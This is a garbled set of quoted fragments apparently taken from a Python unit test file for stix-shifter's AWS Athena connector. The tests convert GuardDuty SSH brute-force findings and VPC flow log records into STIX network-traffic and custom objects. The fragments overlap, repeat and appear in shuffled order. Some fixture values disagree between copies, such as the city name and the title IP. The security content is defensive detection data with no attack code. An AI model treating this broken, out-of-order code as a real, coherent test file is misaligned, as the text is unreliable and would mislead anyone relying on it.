"observed_data objects = observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys()",
"assert custom_object['numbytes'] == 40 assert custom_object['region'] == 'us-east-1' assert custom_object['version']",
"\"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options =",
"\"imagedescription\": \"Provided by Red Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\",",
"network_obj['dst_ref'] == '4' assert network_obj['src_port'] == 58387 assert network_obj['dst_port'] ==",
"} } }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\": {",
"test network stix object properties\"\"\" data = { \"guardduty\": {",
"'1' assert network_obj['dst_ref'] == '4' assert network_obj['src_port'] == 58387 assert",
"object type not found' assert network_obj.keys() == {'type', 'src_ref', 'dst_ref',",
"== {'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'} assert network_obj['type'] ==",
"== 38420 assert network_obj['src_ref'] == '3' assert network_obj['dst_ref'] == '9'",
"== 'aws' assert custom_object['schemaversion'] == 2.0 assert custom_object['updatedat'] == '2020-09-12T09:25:34.086Z'",
"} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) assert",
"network_obj['protocols'] == ['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end'] ==",
"== 'OK' assert custom_object['numbytes'] == 40 assert custom_object['region'] == 'us-east-1'",
"result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] observed_data = result_bundle_objects[1]",
"'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] ==",
"\"logstatus\": \"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 } }",
"\"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\":",
"\"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\":",
"result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id'] == data_source['id'] assert",
"against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is",
"case for Aws Athena logs translate results \"\"\" @staticmethod def",
"'2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data",
"constraint is true \"\"\" return next( (obj for obj in",
"test network stix object properties\"\"\" data = { \"vpcflow\": {",
"\"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\" } options = {}",
"result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id'] ==",
"map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0]",
"\"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2,",
"\"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\":",
"\"schemaversion\": 2.0, \"service\": { \"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": {",
"observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(), 'network-traffic') assert network_obj is not None,",
"\"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\":",
"get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest MODULE = \"aws_athena\"",
"network_obj['src_port'] == 58387 assert network_obj['dst_port'] == 51289 assert network_obj['protocols'] ==",
"= { \"type\": \"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\"",
"\"\"\" to check whether the object belongs to respective stix",
"test_common_prop(self): \"\"\" to test the common stix object properties \"\"\"",
"\"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\",",
"assert network_obj['protocols'] == ['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end']",
"\"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options = {\"unmapped_fallback\": True}",
"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\":",
"\"key\": \"Name\", \"value\": \"<NAME>\" } } }, \"resourcetype\": \"Instance\" },",
"}, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" },",
"data_source, map_data, [data], get_module_transformers(MODULE), options) result_bundle_objects = result_bundle['objects'] result_bundle_identity =",
"\"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options = {\"unmapped_fallback\": True} result_bundle =",
"not found' assert network_obj.keys() == {'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port',",
"EntryPoint import unittest MODULE = \"aws_athena\" entry_point = EntryPoint() map_data",
"custom_object['version'] == 2 def test_guardduty_network_json_to_stix(self): \"\"\"to test network stix object",
"Logger\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\":",
"\"value\": \"ArcSight Logger\" } } }, \"resourcetype\": \"Instance\" }, \"schemaversion\":",
"'network-traffic' assert network_obj['src_ref'] == '1' assert network_obj['dst_ref'] == '4' assert",
"}, \"remoteipdetails\": { \"geolocation\": { \"lat\": \"59.2741\", \"lon\": \"15.2066\" },",
"\"2020-06-19\", \"logstatus\": \"OK\", \"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 }",
"\"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\": { \"portname\": \"SSH\"",
"979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\", \"sourceport\": 58387, \"destinationport\":",
"test case for Aws Athena logs translate results \"\"\" @staticmethod",
"== '1' assert network_obj['dst_ref'] == '4' assert network_obj['src_port'] == 58387",
"\"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\",",
"true \"\"\" return next( (obj for obj in itr if",
"\"\"\"to test network stix object properties\"\"\" data = { \"vpcflow\":",
"== 22 assert network_obj['protocols'] == ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test",
"== {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition', 'resource', 'schemaversion', 'service',",
"\"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\":",
"json_to_stix_translator from stix_shifter_utils.stix_translation.src.utils.transformer_utils import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint import",
"\"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } options",
"found' assert network_obj.keys() == {'type', 'dst_port', 'src_ref', 'dst_ref', 'src_port', 'protocols'}",
"\"organization\": { \"asn\": \"2119\", \"asnorg\": \"Telenor Norge AS\", \"isp\": \"Telenor",
"'protocols'} assert network_obj['type'] == 'network-traffic' assert network_obj['dst_port'] == 38420 assert",
"\" \"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": {",
"\"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\",",
"brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\",",
"'x-aws-athena') assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition',",
"TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat',",
"\"severity\": 2, \"title\": \"172.16.31.10 is performing SSH brute force attacks",
"\"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\": \"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\":",
"custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type', 'interfaceid', 'date',",
"force attacks are used to gain unauthorized access to your",
"== data_source['identity_class'] observed_data = result_bundle_objects[1] assert observed_data['id'] is not None",
"} options = {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data,",
"return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and o.get('type') == typ)",
"network stix object properties\"\"\" data = { \"guardduty\": { \"accountid\":",
"'service', 'updatedat'} assert custom_object['arn'] == 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id']",
"test the common stix object properties \"\"\" data = {",
"\"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": { \"instancedetails\": { \"imagedescription\": \"Provided",
"\"asnorg\": \"Telenor Norge AS\", \"isp\": \"Telenor Sverige AB\", \"org\": \"Telenor",
"assert observed_data['number_observed'] is not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test network",
"\"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\": \"2020-09-12T09:25:34.086Z\" } } result_bundle =",
"\"\"\" return the obj in the itr if constraint is",
"import get_module_transformers from stix_shifter_modules.aws_athena.entry_point import EntryPoint import unittest MODULE =",
"= result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] observed_data",
"\"remoteipdetails\": { \"geolocation\": { \"lat\": \"59.2741\", \"lon\": \"15.2066\" }, \"organization\":",
"\"org\": \"Telenor Sverige AB\" } }, \"remoteportdetails\": { \"portname\": \"Unknown\"",
"\"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\": 2, \"title\": \"172.16.31.10 is performing SSH brute",
"== result_bundle_identity['id'] assert observed_data['created'] is not None assert observed_data['modified'] is",
"assert 'objects' in observed_data objects = observed_data['objects'] network_obj = TestAwsResultsToStix.get_first_of_type(objects.values(),",
"'protocols', 'start', 'end'} assert network_obj['type'] == 'network-traffic' assert network_obj['src_ref'] ==",
"results \"\"\" @staticmethod def get_first(itr, constraint): \"\"\" return the obj",
"properties \"\"\" data = { \"guardduty\": { \"accountid\": 979326520502, \"region\":",
"in the itr if constraint is true \"\"\" return next(",
"== {'type', 'interfaceid', 'date', 'logstatus', 'numbytes', 'region', 'version'} assert custom_object['date']",
"is performing SSH brute force attacks against i-031cb81e1f32a36e1. \" \"Brute",
"obj in itr if constraint(obj)), None ) @staticmethod def get_first_of_type(itr,",
") @staticmethod def get_first_of_type(itr, typ): \"\"\" to check whether the",
"\"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\" }, \"updatedat\":",
"\"172.31.62.249\", \"sourceport\": 58387, \"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\":",
"attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10",
"typ) def test_common_prop(self): \"\"\" to test the common stix object",
"by guessing \" \"the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\",",
"\"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\":",
"== 51289 assert network_obj['protocols'] == ['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z'",
"\"vpcflow\": { \"account\": 979326520502, \"interfaceid\": \"eni-04b762de832716892\", \"sourceaddress\": \"192.168.127.12\", \"destinationaddress\": \"172.31.62.249\",",
"{ \"action\": { \"actiontype\": \"NETWORK_CONNECTION\", \"networkconnectionaction\": { \"connectiondirection\": \"INBOUND\", \"localportdetails\":",
"result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type']",
"{ \"imagedescription\": \"Provided by Red Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\":",
"assert network_obj['src_port'] == 58387 assert network_obj['dst_port'] == 51289 assert network_obj['protocols']",
"network_obj['src_ref'] == '1' assert network_obj['dst_ref'] == '4' assert network_obj['src_port'] ==",
"dict) and o.get('type') == typ) def test_common_prop(self): \"\"\" to test",
"2, \"title\": \"85.224.242.94 is performing SSH brute force attacks against",
"== '2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws' assert custom_object['schemaversion'] == 2.0",
"json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE), options) assert result_bundle['type'] == 'bundle'",
"options = {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data],",
"\"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"<NAME>\"",
"'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition', 'resource', 'schemaversion', 'service', 'updatedat'} assert",
"None assert observed_data['number_observed'] is not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to test",
"\"aws_athena\" entry_point = EntryPoint() map_data = entry_point.get_results_translator().map_data data_source = {",
"= EntryPoint() map_data = entry_point.get_results_translator().map_data data_source = { \"type\": \"identity\",",
"== typ) def test_common_prop(self): \"\"\" to test the common stix",
"= observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena') assert custom_object.keys() == {'type',",
"assert result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data = result_bundle_objects[1] assert observed_data['id'] is",
"result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] observed_data = result_bundle_objects[1] assert 'objects'",
"\"numbytes\": 40, \"region\": \"us-east-1\", \"version\": 2 } } options =",
"{ \"portname\": \"Unknown\" } } }, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\",",
"the obj in the itr if constraint is true \"\"\"",
"\"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"<NAME>\" }",
"= result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] observed_data = result_bundle_objects[1] assert",
"not None assert observed_data['number_observed'] is not None def test_vpc_flow_network_json_to_stix(self): \"\"\"to",
"if constraint(obj)), None ) @staticmethod def get_first_of_type(itr, typ): \"\"\" to",
"network_obj['dst_port'] == 38420 assert network_obj['src_ref'] == '3' assert network_obj['dst_ref'] ==",
"2 } } options = {\"unmapped_fallback\": True} result_bundle = json_to_stix_translator.convert_to_stix(",
"{'type', 'interfaceid', 'date', 'logstatus', 'numbytes', 'region', 'version'} assert custom_object['date'] ==",
"== 'arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed' \\ '494f3b7ca56acdc74df/finding/7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['finding_id'] == '7ab9d1cb6248e05a0e419a79528761cb' assert custom_object['createdat']",
"object type not found' assert network_obj.keys() == {'type', 'dst_port', 'src_ref',",
"custom_object['createdat'] == '2020-07-31T06:37:13.745Z' assert custom_object['partition'] == 'aws' assert custom_object['schemaversion'] ==",
"'objects' in observed_data objects = observed_data['objects'] custom_object = TestAwsResultsToStix.get_first_of_type(objects.values(), 'x-aws-athena')",
"\"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\": { \"0\": { \"key\": \"Name\",",
"def test_vpc_flow_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data =",
"\"resource_instancedetails_networkinterfaces_0_privatednsname\": \"ip-172-31-60-104.ec2.internal\", \"resource_instancedetails_networkinterfaces_0_privateipaddress\": \"172.31.60.104\", \"resource_instancedetails_networkinterfaces_0_subnetid\": \"subnet-ea9d6be4\", \"resource_instancedetails_networkinterfaces_0_publicdnsname\": \"ec2-18-210-22-128.compute-1.\" \"amazonaws.com\", \"resource_instancedetails_networkinterfaces_0_vpcid\":",
"38420 assert network_obj['src_ref'] == '3' assert network_obj['dst_ref'] == '9' assert",
"assert custom_object.keys() == {'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition', 'resource',",
"{'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols', 'start', 'end'} assert network_obj['type']",
"{ \"geolocation\": { \"lat\": \"59.2741\", \"lon\": \"15.2066\" }, \"organization\": {",
"{'type', 'service_action_networkconnectionaction_remoteipdetails_country_countryname', 'finding_id', 'arn', 'createdat', 'partition', 'resource', 'schemaversion', 'service', 'updatedat'}",
"{ \"key\": \"Name\", \"value\": \"ArcSight Logger\" } } }, \"resourcetype\":",
"== 'bundle' result_bundle_objects = result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type']",
"\"guessing the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\": \"aws\", \"resource\": {",
"58387, \"destinationport\": 51289, \"protocol\": \"tcp\", \"starttime\": 1592547796, \"endtime\": 1592547798, \"action\":",
"\"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\":",
"== data_source['type'] observed_data = result_bundle_objects[1] assert 'objects' in observed_data objects",
"}, \"resourcetype\": \"Instance\" }, \"schemaversion\": 2.0, \"service\": { \"action\": {",
"get_first_of_type(itr, typ): \"\"\" to check whether the object belongs to",
"network_obj['type'] == 'network-traffic' assert network_obj['src_ref'] == '1' assert network_obj['dst_ref'] ==",
"assert result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name'] == data_source['name'] assert result_bundle_identity['identity_class']",
"in itr if constraint(obj)), None ) @staticmethod def get_first_of_type(itr, typ):",
"Sverige AB\" } }, \"remoteportdetails\": { \"portname\": \"Unknown\" } }",
"\"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\", \"severity\":",
"[data], get_module_transformers(MODULE), options) assert result_bundle['type'] == 'bundle' result_bundle_objects = result_bundle['objects']",
"'4' assert network_obj['src_port'] == 58387 assert network_obj['dst_port'] == 51289 assert",
"\"\"\"to test network stix object properties\"\"\" data = { \"guardduty\":",
"observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created'] is",
"['tcp'] assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def",
"\"resource\": { \"instancedetails\": { \"imagedescription\": \"Provided by Red Hat, Inc.\",",
"== data_source['type'] assert result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name'] == data_source['name']",
"logs translate results \"\"\" @staticmethod def get_first(itr, constraint): \"\"\" return",
"i-031cb81e1f32a36e1. \" \"Brute force attacks are used to gain unauthorized",
"{ \"instancedetails\": { \"imagedescription\": \"Provided by Red Hat, Inc.\", \"instancestate\":",
"\"tags\": { \"0\": { \"key\": \"Name\", \"value\": \"ArcSight Logger\" }",
"= \"aws_athena\" entry_point = EntryPoint() map_data = entry_point.get_results_translator().map_data data_source =",
"} } }, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\":",
"\"Telenor Norge AS\", \"isp\": \"Telenor Sverige AB\", \"org\": \"Telenor Sverige",
"\"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\": \"2020-09-12T09:19:40Z\",",
"get_first(itr, constraint): \"\"\" return the obj in the itr if",
"\"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\": \"ami-0015fcaa5516c75ed\", \"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\",",
"== ['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\"",
"if constraint is true \"\"\" return next( (obj for obj",
"== '2020-06-19' assert custom_object['logstatus'] == 'OK' assert custom_object['numbytes'] == 40",
"network_obj.keys() == {'type', 'src_ref', 'dst_ref', 'src_port', 'dst_port', 'protocols', 'start', 'end'}",
"\"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\" \"7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH brute",
"assert network_obj['start'] == '2020-06-19T06:23:16.000Z' assert network_obj['end'] == '2020-06-19T06:23:18.000Z' def test_vpc_flow_custom_attr_json_to_stix(self):",
"assert custom_object['date'] == '2020-06-19' assert custom_object['logstatus'] == 'OK' assert custom_object['numbytes']",
"'arn', 'createdat', 'partition', 'resource', 'schemaversion', 'service', 'updatedat'} assert custom_object['arn'] ==",
"not None, 'network-traffic object type not found' assert network_obj.keys() ==",
"\"identity\", \"id\": \"identity--f431f809-377b-45e0-aa1c-6a4751cae5ff\", \"name\": \"aws_athena\", \"identity_class\": \"events\" } options =",
"type not found' assert network_obj.keys() == {'type', 'src_ref', 'dst_ref', 'src_port',",
"result_bundle_identity['type'] == data_source['type'] observed_data = result_bundle_objects[1] assert 'objects' in observed_data",
"result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id'] == data_source['id'] assert result_bundle_identity['name'] ==",
"is not None assert observed_data['type'] == \"observed-data\" assert observed_data['created_by_ref'] ==",
"\"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\":",
"= result_bundle_objects[1] assert 'objects' in observed_data objects = observed_data['objects'] network_obj",
"\"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\":",
"} }, \"count\": \"20\", \"detectorid\": \"6ab6e6ee780ed494f3b7ca56acdc74df\", \"resourcerole\": \"TARGET\", \"servicename\": \"guardduty\"",
"observed_data['created_by_ref'] == result_bundle_identity['id'] assert observed_data['created'] is not None assert observed_data['modified']",
"result_bundle_identity['identity_class'] == data_source['identity_class'] observed_data = result_bundle_objects[1] assert observed_data['id'] is not",
"respective stix object \"\"\" return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict)",
"\"38420\", \"service_action_networkconnectionaction_remoteipdetails_country_countryname\": \"Sweden\", \"service_action_networkconnectionaction_remoteipdetails_ipaddressv4\": \"172.16.31.10\", \"service_action_networkconnectionaction_remoteipdetails_city_cityname\": \"\\u00d6rebro\", \"service_action_networkconnectionaction_localportdetails_port\": \"22\", \"service_eventlastseen\":",
"instance by \" \"guessing the SSH password.\", \"finding_id\": \"7ab9d1cb6248e05a0e419a79528761cb\", \"partition\":",
"Red Hat, Inc.\", \"instancestate\": \"running\", \"instancetype\": \"t2.large\", \"launchtime\": \"2020-09-11T23:16:03Z\", \"tags\":",
"2 } } result_bundle = json_to_stix_translator.convert_to_stix( data_source, map_data, [data], get_module_transformers(MODULE),",
"\"\"\" return TestAwsResultsToStix.get_first(itr, lambda o: isinstance(o, dict) and o.get('type') ==",
"result_bundle['objects'] result_bundle_identity = result_bundle_objects[0] assert result_bundle_identity['type'] == data_source['type'] assert result_bundle_identity['id']",
"\"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding\" \"/7ab9d1cb6248e05a0e419a79528761cb\", \"createdat\": \"2020-07-31T06:37:13.745Z\", \"description\": \"172.16.31.10 is performing SSH",
"\"resource_instancedetails_instanceid\": \"i-031cb81e1f32a36e1\", \"resource_instancedetails_availabilityzone\": \"us-east-1f\", \"service_eventfirstseen\": \"2020-07-31T06:19:09Z\", \"service_action_networkconnectionaction_protocol\": \"TCP\", \"service_action_networkconnectionaction_remoteportdetails_port\": \"38420\",",
"is performing SSH brute force attacks against i-031cb81e1f32a36e1.\", \"arn\": \"arn:aws:guardduty:us-east-1:979326520502:detector/6ab6e6ee780ed494f3b7ca56acdc74df/finding/\"",
"unauthorized access to your instance by guessing \" \"the SSH",
"class TestAwsResultsToStix(unittest.TestCase): \"\"\" class to perform unit test case for",
"['tcp'] def test_guardduty_custom_attr_json_to_stix(self): \"\"\"to test network stix object properties\"\"\" data",
"\"vpc-10db926a\", \"resource_instancedetails_networkinterfaces_0_publicip\": \"172.16.31.10\", \"resource_instancedetails_networkinterfaces_0_networkinterfaceid\": \"eni-0203098cca62c3f21\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupid\": \"sg-018edb43fcc81525f\", \"resource_instancedetails_networkinterfaces_0_securitygroups_0_groupname\": \"launch-wizard-13\", \"resource_instancedetails_imageid\":",
